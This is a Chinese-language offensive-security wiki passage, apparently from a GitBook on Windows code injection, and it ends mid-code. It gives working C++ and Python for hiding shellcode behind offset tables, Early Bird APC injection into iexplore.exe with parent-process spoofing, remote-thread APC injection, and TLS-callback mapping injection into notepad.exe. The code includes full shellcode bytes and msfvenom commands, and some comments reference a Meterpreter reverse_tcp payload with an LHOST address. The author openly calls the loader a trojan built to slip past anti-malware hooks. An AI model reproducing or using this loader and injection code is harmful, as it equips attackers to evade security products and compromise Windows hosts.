![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MDxEUNSdRKnBzVlLEbQ%2F-MDxEpm4T5TOszjlODH2%2Fimage.png?alt=media\&token=3192b6eb-10c1-4909-8312-c835a4da140e)

通过一段已有的shellcode生成偏移表，我们古典主义脚本小子还是比较喜欢弹个窗。

```

dict = open('wingding.ttf','rb+').read();

buf =  b""
buf += b"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9"
buf += b"\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08"
buf += b"\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1"
buf += b"\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28"
buf += b"\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34"
buf += b"\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84"
buf += b"\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24"
buf += b"\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b"
buf += b"\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c"
buf += b"\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e"
buf += b"\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e"
buf += b"\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89"
buf += b"\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68"
buf += b"\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89\xe6\x56"
buf += b"\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c"
buf += b"\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68"
buf += b"\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c"
buf += b"\x24\x0a\x89\xe3\x68\x58\x20\x20\x20\x68\x4d\x53\x46"
buf += b"\x21\x68\x72\x6f\x6d\x20\x68\x6f\x2c\x20\x66\x68\x48"
buf += b"\x65\x6c\x6c\x31\xc9\x88\x4c\x24\x10\x89\xe1\x31\xd2"
buf += b"\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"

char=0
offsettable=[];
for i in range(len(buf)):
	for p in range(len(dict)):
		if  ord(chr(dict[p])) == ord(chr(buf[i])):
			offsettable.append(p)
			break

#生成偏移表
if char == len(buf):print("shellcode offset tables generate success");
print(offsettable)

#测试还原shellcode
shellcode=[]
for i in offsettable:
	shellcode.append(dict[i])
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MDxEUNSdRKnBzVlLEbQ%2F-MDxFUHDjehCbCJjwb6j%2Fimage.png?alt=media\&token=7e1dcdb6-a761-49c5-9a72-6ad59e3b5f13)

可以还原出来，现在我们在c++把木马写出来。

```
#include <stdio.h>
#include <Windows.h>



int main()
{	
	DWORD dwReadSize=0;
	HANDLE hFile = CreateFileA("C:\\Windows\\Fonts\\wingding.ttf", GENERIC_READ, OPEN_EXISTING, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
	DWORD dwSize = GetFileSize(hFile, NULL);
	PCHAR pDict = (PCHAR)VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
	PCHAR lpBuffer = (PCHAR)VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	ReadFile(hFile, pDict, dwSize, &dwReadSize, NULL);

	
	DWORD offsets[] = { 2741, 2231, 2569, 2741, 65, 203, 113, 48, 2899, 2707, 825, 48, 2845, 157, 2473, 2317, 11, 2473, 93, 363, 2473, 93, 282, 2473, 2059, 128, 2473, 2395, 95, 2473, 155, 146, 17, 1783, 2341, 64, 2173, 1, 629, 288, 19, 2215, 2473, 141, 203, 203, 2473, 2053, 83, 2473, 29, 549, 159, 1, 2255, 2473, 547, 1783, 2473, 2179, 95, 1, 2231, 721, 745, 14, 2473, 745, 2473, 1, 160, 48, 288, 48, 557, 135, 573, 645, 557, 65, 358, 2797, 387, 1717, 1, 82, 2231, 113, 80, 227, 203, 549, 2341, 19, 2473, 2179, 203, 1, 2231, 108, 2473, 363, 2089, 2473, 2179, 282, 1, 2231, 2473, 9, 2473, 1, 2315, 211, 12, 203, 282, 78, 2809, 2707, 128, 1885, 263, 211, 2399, 211, 2803, 156, 195, 2107, 421, 176, 2131, 2315, 1041, 288, 288, 288, 211, 2053, 9, 2761, 2395, 2771, 407, 126, 597, 282, 203, 2131, 2315, 195, 288, 288, 288, 211, 2053, 128, 156, 141, 141, 95, 1405, 156, 833, 47, 1915, 157, 156, 2341, 126, 173, 301, 11, 1421, 219, 151, 203, 131, 211, 43, 59, 288, 2149, 9, 211, 2803, 355, 2761, 2647, 2611, 62, 75, 597, 282, 203, 2131, 2315, 123, 288, 288, 288, 156, 221, 159, 63, 95, 156, 78, 110, 173, 209, 156, 62, 173, 126, 126, 48, 1421, 219, 151, 203, 131, 211, 721, 156, 63, 95, 95, 95, 156, 62, 13, 2059, 649, 156, 301, 221, 77, 95, 156, 221, 1903, 95, 108, 156, 31, 173, 141, 141, 48, 2845, 219, 28, 203, 23, 211, 19, 48, 2899, 2131, 13, 2125, 2131, 288, 258, 48, 557, 355, 288, 2149, 128 };
	for (int i = 0; i < sizeof(offsets)/sizeof(DWORD); i++)
	{
		lpBuffer[i] = pDict[offsets[i]];
	}
	

	HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)0xfff, 0, CREATE_SUSPENDED, NULL);
	QueueUserAPC((PAPCFUNC)lpBuffer, hThread, 0);
	ResumeThread(hThread);
	WaitForSingleObject(hThread, INFINITE);

	CloseHandle(hThread);
	CloseHandle(hFile);
	return 0;
}
```

可以看到还原出了shellcode。

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MDxEUNSdRKnBzVlLEbQ%2F-MDxG0iQ0BCY5Dd8Oi6t%2Fimage.png?alt=media\&token=07615b88-3777-4a69-9fb6-bb7d46c8d65a)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-MDxEUNSdRKnBzVlLEbQ%2F-MDxGGtM1Xn6sO_0rTsx%2Fimage.png?alt=media\&token=a25f11aa-a82f-4297-a9d1-6a16543be5e5)

脚本小子的任务完成了。

## 抽象成算法

这个时候，仔细详细我们真的需要这个作为字符字典的文件么，我们真的需要月亮么(不好意思串戏了)，如果我们找不到这也的文件怎么办，其实我们并不是真的需要这样一个字典，而且我确实没有找到从xp-win10不变的文件。

其实我们只是需要一张能作为字典的字符表，这样我们的这个思路就抽象成了凯撒密码算法（略略略），万物基于算法定律呗。

我们把这张替换表硬编码进木马内，就避免作为参照物的文件失效，具体代码如下：

```
import random

buf =  b""
buf += b"\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"

dict = [i for i in range(256)]
random.shuffle(dict)


offsettable=[];
for i in range(len(buf)):
	for p in range(len(dict)):
		if  ord(chr(dict[p])) == ord(chr(buf[i])):
			offsettable.append(p)
			break

#生成偏移表
print("random dict generate success")
print(dict)
if len(offsettable) == len(buf):print("shellcode offset tables generate success");
print(offsettable)

#测试还原shellcode
"""

shellcode=[]
for i in offsettable:
	shellcode.append(dict[i])

"""
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-ME0a6QlPyzzifvuKT_y%2F-ME0aExT4zaT9ShsJs6p%2Fimage.png?alt=media\&token=41be2e9b-5d21-4502-908b-177ad939e789)

这样就避免了使用白名单文件作为参考字典，然后把木马也改改,古典主义脚本小子以弹窗为准。

```
// OffsetTablesShellcode.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//


#include <stdio.h>
#include <Windows.h>
//#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")	//不显示窗口



int main()
{	


	CHAR pDict[] = { 205, 25, 109, 2, 97, 125, 6, 167, 65, 179, 158, 183, 44, 239, 75, 9, 111, 218, 41, 123, 137, 138, 13, 134, 161, 206, 101, 150, 33, 163, 102, 135, 106, 118, 213, 195, 157, 199, 113, 147, 104, 7, 166, 92, 132, 48, 61, 188, 108, 216, 184, 174, 129, 185, 89, 36, 39, 59, 130, 197, 219, 226, 78, 46, 66, 68, 149, 210, 18, 173, 87, 31, 187, 250, 253, 152, 67, 122, 211, 60, 29, 121, 208, 124, 12, 128, 153, 191, 140, 64, 214, 8, 237, 186, 81, 114, 24, 146, 240, 247, 0, 56, 196, 3, 22, 28, 198, 243, 100, 43, 55, 255, 171, 223, 164, 221, 11, 131, 73, 215, 190, 62, 107, 82, 217, 139, 42, 175, 220, 79, 222, 10, 120, 17, 63, 148, 32, 156, 162, 241, 141, 209, 38, 49, 160, 231, 133, 242, 168, 234, 248, 177, 246, 30, 176, 136, 76, 58, 230, 193, 88, 178, 204, 91, 225, 126, 151, 212, 83, 200, 16, 23, 251, 227, 169, 103, 180, 74, 77, 254, 203, 98, 181, 155, 14, 224, 229, 207, 5, 50, 143, 27, 194, 165, 252, 86, 51, 1, 159, 80, 249, 244, 84, 21, 90, 117, 154, 54, 119, 115, 99, 35, 142, 45, 94, 228, 47, 116, 20, 145, 201, 232, 170, 34, 52, 192, 233, 127, 19, 85, 238, 40, 93, 110, 26, 4, 15, 72, 189, 57, 105, 112, 202, 144, 182, 71, 70, 235, 37, 245, 53, 96, 236, 69, 172, 95 };
	DWORD offsets[] = { 194, 221, 58, 100, 100, 100, 251, 20, 186, 143, 225, 108, 125, 199, 45, 125, 123, 84, 125, 123, 218, 125, 95, 231, 236, 11, 177, 142, 143, 111, 254, 79, 4, 83, 3, 12, 136, 159, 187, 22, 197, 37, 61, 147, 123, 70, 125, 123, 170, 125, 177, 79, 125, 156, 133, 132, 173, 237, 197, 141, 94, 125, 54, 136, 197, 78, 125, 118, 96, 173, 157, 118, 125, 224, 125, 197, 90, 143, 111, 254, 159, 187, 22, 197, 37, 101, 185, 205, 152, 103, 5, 150, 57, 5, 55, 205, 215, 160, 125, 160, 55, 197, 78, 30, 125, 84, 14, 125, 160, 105, 197, 78, 125, 235, 125, 197, 82, 20, 65, 55, 55, 163, 163, 4, 54, 204, 94, 111, 185, 255, 255, 204, 125, 68, 247, 140, 232, 40, 233, 26, 217, 100, 40, 208, 240, 233, 240, 202, 40, 156, 208, 142, 41, 111, 34, 143, 60, 168, 168, 168, 168, 168, 221, 121, 100, 100, 100, 178, 16, 77, 240, 48, 48, 4, 216, 250, 63, 45, 136, 231, 70, 240, 233, 108, 16, 208, 209, 136, 62, 202, 136, 207, 63, 143, 57, 136, 202, 95, 240, 108, 26, 233, 217, 216, 110, 63, 45, 57, 136, 95, 33, 157, 143, 143, 63, 45, 18, 136, 48, 240, 122, 26, 136, 245, 26, 210, 122, 16, 100, 40, 157, 195, 81, 7, 111, 34, 168, 168, 32, 103, 168, 168, 32, 199, 221, 93, 100, 100, 100, 216, 195, 143, 207, 178, 210, 16, 217, 26, 77, 14, 178, 246, 132, 8, 202, 246, 70, 205, 250, 143, 233, 94, 205, 181, 253, 205, 54, 213, 253, 202, 118, 208, 189, 240, 65, 81, 209, 205, 81, 94, 95, 217, 45, 199, 181, 14, 38, 77, 30, 14, 123, 189, 250, 208, 241, 196, 240, 255, 77, 209, 204, 100, 199, 40, 70, 20, 198, 106, 111, 34, 20, 106, 168, 40, 100, 3, 40, 44, 168, 168, 168, 70, 168, 195, 40, 247, 229, 63, 57, 111, 34, 27, 32, 131, 255, 168, 168, 168, 168, 195, 40, 213, 6, 96, 19, 111, 34, 146, 225, 205, 218, 40, 155, 228, 100, 100, 40, 65, 98, 250, 185, 111, 34, 129, 205, 164, 221, 177, 100, 100, 100, 32, 89, 40, 100, 170, 100, 100, 40, 100, 100, 89, 100, 168, 40, 160, 114, 168, 186, 111, 34, 39, 168, 168, 20, 145, 70, 40, 100, 136, 100, 100, 168, 195, 40, 68, 27, 20, 61, 111, 34, 146, 225, 217, 187, 125, 41, 197, 35, 146, 225, 205, 186, 160, 35, 255, 221, 227, 111, 111, 111, 143, 239, 189, 63, 143, 207, 101, 63, 101, 63, 143, 189, 239, 100, 72, 98, 182, 138, 195, 32, 100, 168, 111, 34 };
	
	
	PCHAR lpBuffer = (PCHAR)VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	
		for (int i = 0; i < sizeof(offsets)/sizeof(DWORD); i++)
	{
		lpBuffer[i] = pDict[offsets[i]];
	}
	
	HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)0xfff, 0, CREATE_SUSPENDED, NULL);

	QueueUserAPC((PAPCFUNC)lpBuffer, hThread, 0);
	ResumeThread(hThread);
	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hThread);

	return 0;
}
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-ME0_D2bJBhJDjn4bbqz%2F-ME0a-67JAMBMEO4oypg%2Fimage.png?alt=media\&token=bd557ce3-8582-4058-b2fa-b45f871d1633)

## LINKS

{% embed url="<https://www.freebuf.com/articles/system/190740.html>" %}


# Early Bird

## Early Bird简介

Early Bird是一种简单而强大的技术，Early Bird本质上是一种APC注入与线程劫持的变体，由于线程初始化时会调用ntdll未导出函数NtTestAlert，该函数会清空并处理APC队列，所以注入的代码通常在进程的主线程的入口点之前运行并接管进程控制权，从而避免了反恶意软件产品的钩子的检测，同时获得一个合法进程的环境信息。

线程初始化时调用NtTestAlert:

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M7uJ9FWQUzbIyQrDF8T%2F-M7uJDPLbDEWoUEGKi6v%2Fimage.png?alt=media\&token=2e7ec3c9-50fe-4b9c-b46e-57344dc0f96c)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M7uJlR8PHtNc5gNaClg%2F-M7uJyOnOEiW3qq5unxY%2Fimage.png?alt=media\&token=d67cd089-820d-4ee7-baeb-4f550697f35c)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M7uJ9FWQUzbIyQrDF8T%2F-M7uJYskW1AVNz2loocy%2Fimage.png?alt=media\&token=c94778c0-45cd-462c-a4b5-9ca42861ac72)

执行参考:

{% content-ref url="/pages/-M3t6Pg-KKZhwH0A8\_b7" %}
[APC & NtTestAlert Code Execute](/code-and-dll-process-injection/apc-and-nttestalert-code-execute)
{% endcontent-ref %}

## Early Bird流程

1. 创建一个挂起的进程(通常是windows的合法进程)
2. 在挂起的进程内申请一块可读可写可执行的内存空间
3. 往申请的空间内写入shellcode
4. 将APC插入到该进程的主线程
5. 恢复挂起进程的线程

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M3jCK28mVF-jedZNlm7%2F-M3jCPplbeWWV9L7Gt1X%2Fimage.png?alt=media\&token=a488abcd-0f29-4252-a21e-ee3104e18469)

## 代码实现

```
#include <stdio.h>
#include <windows.h>
//msfvenom -p windows/x64/meterpreter/reverse_tcp -e x64/xor_dynamic -i 14 LHOST=192.168.0.106 EXITFUNC=thread -f
unsigned char shellcode[] = "";
int main() {
    STARTUPINFO si = {0};
    PROCESS_INFORMATION pi = {0};
    si.cb = sizeof(STARTUPINFO);

    CreateProcessA("C:\\Program Files\\internet explorer\\iexplore.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, (LPSTARTUPINFOA)&si, &pi);
    LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(pi.hProcess, lpBaseAddress, (LPVOID)shellcode, sizeof(shellcode), NULL);
    QueueUserAPC((PAPCFUNC)lpBaseAddress, pi.hThread, NULL);
    ResumeThread(pi.hThread);
    CloseHandle(pi.hThread);

    return 0;
}
```

## 配合FakePPID和FakeCurrentDirectory使用

```
#include <stdio.h>
#include <windows.h>
#include <TlHelp32.h>


DWORD FindExplorerPID() {
    HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    PROCESSENTRY32 process = { 0 };
    process.dwSize = sizeof(process);

    if (Process32First(snapshot, &process)) {
        do {
            if (!wcscmp(process.szExeFile, L"explorer.exe"))
                break;
        } while (Process32Next(snapshot, &process));
    }

    CloseHandle(snapshot);
    return process.th32ProcessID;
}

int main() {

    //msfvenom -p windows/x64/meterpreter/reverse_tcp -e x64/xor_dynamic -i 14 LHOST=192.168.0.106 EXITFUNC=thread -f
    unsigned char shellcode[] = ("");


    STARTUPINFOEXA siex;
    PROCESS_INFORMATION piex;
    SIZE_T sizeT;
    siex.StartupInfo.cb = sizeof(STARTUPINFOEXA);

    SetCurrentDirectoryA("C:\\Program Files\\internet explorer\\");

    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, FindExplorerPID());

    InitializeProcThreadAttributeList(NULL, 1, 0, &sizeT);
    siex.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, sizeT);
    InitializeProcThreadAttributeList(siex.lpAttributeList, 1, 0, &sizeT);
    UpdateProcThreadAttribute(siex.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProcess, sizeof(HANDLE), NULL, NULL);
    
    
    CreateProcessA("C:\\Program Files\\internet explorer\\iexplore.exe", NULL, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, (LPSTARTUPINFOA)&siex, &piex);
    LPVOID lpBaseAddress = (LPVOID)VirtualAllocEx(piex.hProcess, NULL, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(piex.hProcess, lpBaseAddress, (LPVOID)shellcode, sizeof(shellcode), NULL);
    QueueUserAPC((PAPCFUNC)lpBaseAddress, piex.hThread, NULL);
    ResumeThread(piex.hThread);
    CloseHandle(piex.hThread);

    return 0;
}
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M3j8_cu7a1nGfEcwEkq%2F-M3jAGl67jmetEyuh_kD%2Fimage.png?alt=media\&token=22e05bc5-d355-4567-a264-a2cacda7594b)

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M3j8_cu7a1nGfEcwEkq%2F-M3jAUfL3dVxmdKFH1hm%2Fimage.png?alt=media\&token=1c98bea1-2473-43f1-aa16-cd07a15186e4)

## LINKS

{% embed url="<https://www.securitynewspaper.com/2018/04/17/new-early-bird-code-injection-technique/>" %}

{% embed url="<https://blog.csdn.net/weixin_42052102/article/details/83348780>" %}


# Early Bird & CreateRemoteThread

在前面的[Early Bird](/code-and-dll-process-injection/early-bird)篇我们知道需要挂起创建一个单独的进程，在恢复挂起线程时程序会调用NtTestAlert函数对APC队列进行处理，试想，我们在已有进程内创建一个挂起的线程，然后往这个线程内插入用户apc，随后恢复进程，是不是同样可以在进程执行入口点前接管进程?

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M6h2c6UXrqsaI6HLqnB%2F-M6h3gZQZMZHZidH3jWe%2Fimage.png?alt=media\&token=e815b454-e668-4223-ad44-94b54937eeae)

## 实现思路

1. 创建一个挂起的线程
2. 写入shellcode
3. 插入apc队列
4. 恢复线程

## 代码实现

由于进程会在入口点执行前被接管，所以我们其实并不用指向一个真正有效的入口点。

这里有个小坑,生成的shellcode需要指定exitfunc，不然默认的process退出技术会把整个进程结束。

```
msfvenom -p windows/x64/messagebox exitfunc=thread -f c 
```

* 本进程代码执行:

```
#include<Windows.h>
#include<stdio.h>

char shellcode[] = 
"";

int main() {

	HANDLE hThread = NULL;
	HANDLE hProcess = 0;
	DWORD ProcessId = 0;
	LPVOID AllocAddr = NULL;


	hProcess = GetCurrentProcess();
	AllocAddr = VirtualAllocEx(hProcess, 0, sizeof(shellcode) + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hProcess, AllocAddr, shellcode, sizeof(shellcode) + 1, 0);


	hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)0xfff, 0, CREATE_SUSPENDED, NULL);

	QueueUserAPC((PAPCFUNC)AllocAddr, hThread, 0);
	ResumeThread(hThread);
	WaitForSingleObject(hThread,INFINITE);
	CloseHandle(hProcess);
	CloseHandle(hThread);
	return 0;

}
```

* 远程线程注入:

```
#include<Windows.h>
#include<stdio.h>

char shellcode[] = 
"";

int main() {

	HANDLE hThread = NULL;
	HANDLE hProcess = 0;
	DWORD ProcessId = 0;
	LPVOID AllocAddr = NULL;


	//hProcess = GetCurrentProcess();
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, NULL, 12524);//notepad.exe
	AllocAddr = VirtualAllocEx(hProcess, 0, sizeof(shellcode) + 1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hProcess, AllocAddr, shellcode, sizeof(shellcode) + 1, 0);


	hThread = CreateRemoteThread(hProcess,0, 0, (LPTHREAD_START_ROUTINE)0xfff, 0, CREATE_SUSPENDED, NULL);

	QueueUserAPC((PAPCFUNC)AllocAddr, hThread, 0);
	ResumeThread(hThread);
	//WaitForSingleObject(hThread,INFINITE);
	CloseHandle(hProcess);
	CloseHandle(hThread);
	return 0;

}
```

![](https://3969710588-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-M3GuIlaAXU8NbJTCRei%2F-M6h0QKKRBir8yYb-p8u%2F-M6h0Uw7p-JOYcoySjBi%2Fimage.png?alt=media\&token=797404b5-4840-4ed4-be4d-ae64c9cb457e)


# TLS Code Execute

## TLS简介

> 线程局部存储（Thread Local Storage，TLS）用来将数据与一个正在执行的指定线程关联起来。
>
> 进程中的全局变量与函数内定义的静态(static)变量，是各个线程都可以访问的共享变量。在一个线程修改的内存内容，对所有线程都生效。这是一个优点也是一个缺点。说它是优点，线程的数据交换变得非常快捷。说它是缺点，一个线程死掉了，其它线程也性命不保; 多个线程访问共享数据，需要昂贵的同步开销，也容易造成同步相关的BUG。
>
> 如果需要在一个线程内部的各个函数调用都能访问、但其它线程不能访问的变量（被称为static memory local to a thread 线程局部静态变量），这就是TLS。

TLS提供了一个回调函数(callback function)，在线程程初始化和终止的时候都会调用，由于回调函数会在入口点(EP)前执行，而调试器通常会默认在主函数入口点main设置断点，所以常常被用来作为反调试手段使用，同时回调函数允许我们自由编写任意代码，TLS分为静态TLS和动态TLS，静态TLS会把TLS相关数据硬编码在PE文件内，在本篇文章内我们使用静态TLS来实现代码执行。

## 静态TLS

TLS回调函数遵循特殊的编写约定，与dll主函数相似。

```
typedef VOID
(NTAPI *PIMAGE_TLS_CALLBACK) (
 PVOID DllHandle, 
 DWORD Reason, //Reason 遵循dll调用时相同的参数
 PVOID Reserved
 );
```

静态TLS存储在PE头IMAGE\_DATA\_DIRECTORY DataDirectory\[9]的位置，同其他目录表数组一样，也是8字节结构 (VA+Size)，从TLS的VA处，可以找到该目录的详细信息。

```
typedef struct _IMAGE_TLS_DIRECTORY32 {   //SIZE:0x18h
    DWORD   StartAddressOfRawData;
    DWORD   EndAddressOfRawData;
    DWORD   AddressOfIndex;             // PDWORD
    DWORD   AddressOfCallBacks;         // PIMAGE_TLS_CALLBACK *
    DWORD   SizeOfZeroFill;
    DWORD   Characteristics;
} IMAGE_TLS_DIRECTORY32;
typedef IMAGE_TLS_DIRECTORY32 * PIMAGE_TLS_DIRECTORY32;
```

## 代码实现

```
#include <Windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE") 

unsigned char buf[] ="shellcode";


VOID NTAPI TlsCallBack(PVOID DllHandle, DWORD dwReason, PVOID Reserved) 
//DllHandle模块句柄、Reason调用原因、 Reserved加载方式（显式/隐式）
{
	if (dwReason == DLL_PROCESS_ATTACH)
	{
		((void(WINAPI*)(void)) & buf)();
	}

}
//使用TLS需要在程序中新建一个.tls段专门存放TLS数据，申明使用
#pragma comment (linker, "/INCLUDE:__tls_used")
#pragma comment (linker, "/INCLUDE:__tls_callback")



#pragma data_seg (".CRT$XLB")
//.CRT表明是使用C RunTime机制，$后面的XLB中：X表示随机的标识
//L表示是TLS callback section，B可以被换成B到Y之间的任意一个字母，
//但是不能使用“.CRT$XLA”和“.CRT$XLZ”，因为“.CRT$XLA”和“.CRT$XLZ”是用于tlssup.obj的。
EXTERN_C PIMAGE_TLS_CALLBACK _tls_callback = TlsCallBack;
#pragma data_seg ()

int main()
{
	printf("ok");
	return 0;
}
```

x64的回调函数声明使用别的预处理指令

```
EXTERN_C
#pragma const_seg (".CRT$XLB")
const PIMAGE_TLS_CALLBACK _tls_callback = TlsCallBackCheckDbugger;
#pragma const_seg ()
```

## 扩展

由于TLS调用时通常已经初始化了所以进程相关信息(DLL加载、PEB分配)，所以理论上我们能在TLScallback函数内实现任意代码，理论上我们能在TLS实现其他任意技术,如在TLS回调函数内实现Mapping注入技术。

```
#include <Windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE") 
#pragma comment (lib, "OneCore.lib")
#include <Tlhelp32.h>

char shellcode[]=
"\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9\x64\x8b"
"\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08\x8b\x7e\x20\x8b"
"\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1\xff\xe1\x60\x8b\x6c\x24"
"\x24\x8b\x45\x3c\x8b\x54\x28\x78\x01\xea\x8b\x4a\x18\x8b\x5a"
"\x20\x01\xeb\xe3\x34\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0"
"\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c"
"\x24\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a"
"\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c\x61\xc3\xb2"
"\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e\x0e\xec\x52\xe8\x9f"
"\xff\xff\xff\x89\x45\x04\xbb\x7e\xd8\xe2\x73\x87\x1c\x24\x52"
"\xe8\x8e\xff\xff\xff\x89\x45\x08\x68\x6c\x6c\x20\x41\x68\x33"
"\x32\x2e\x64\x68\x75\x73\x65\x72\x30\xdb\x88\x5c\x24\x0a\x89"
"\xe6\x56\xff\x55\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c"
"\x24\x52\xe8\x5f\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67"
"\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a\x89\xe3"
"\x68\x58\x20\x20\x20\x68\x4d\x53\x46\x21\x68\x72\x6f\x6d\x20"
"\x68\x6f\x2c\x20\x66\x68\x48\x65\x6c\x6c\x31\xc9\x88\x4c\x24"
"\x10\x89\xe1\x31\xd2\x52\x53\x51\x52\xff\xd0\x31\xc0\x50\xff"
"\x55\x08";


DWORD pid;
VOID NTAPI TlsCallBack(PVOID DllHandle, DWORD dwReason, PVOID Reserved) 
{
	WCHAR lpszProcessName[] = L"notepad.exe";
	if (dwReason == DLL_PROCESS_ATTACH)
	{
		HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

		PROCESSENTRY32 pe;
		pe.dwSize = sizeof pe;

		if (Process32First(hSnapshot, &pe))
		{
			do {
				if (lstrcmpi(lpszProcessName, pe.szExeFile) == 0)
				{
					CloseHandle(hSnapshot);
					pid = pe.th32ProcessID;
					break;
				}
			} while (Process32Next(hSnapshot, &pe));
		}

		//
		HANDLE hMapping = CreateFileMapping(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, 0, sizeof(shellcode), NULL);

		LPVOID lpMapAddress = MapViewOfFile(hMapping, FILE_MAP_WRITE, 0, 0, sizeof(shellcode));

		memcpy((PVOID)lpMapAddress, shellcode, sizeof(shellcode));



		HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

		LPVOID lpMapAddressRemote = MapViewOfFile2(hMapping, hProcess, 0, NULL, 0, 0, PAGE_EXECUTE_READ);

		HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpMapAddressRemote, NULL, 0, NULL);

		UnmapViewOfFile(lpMapAddress);
		CloseHandle(hMapping);
	}

}

#pragma comment (linker, "/INCLUDE:__tls_used")
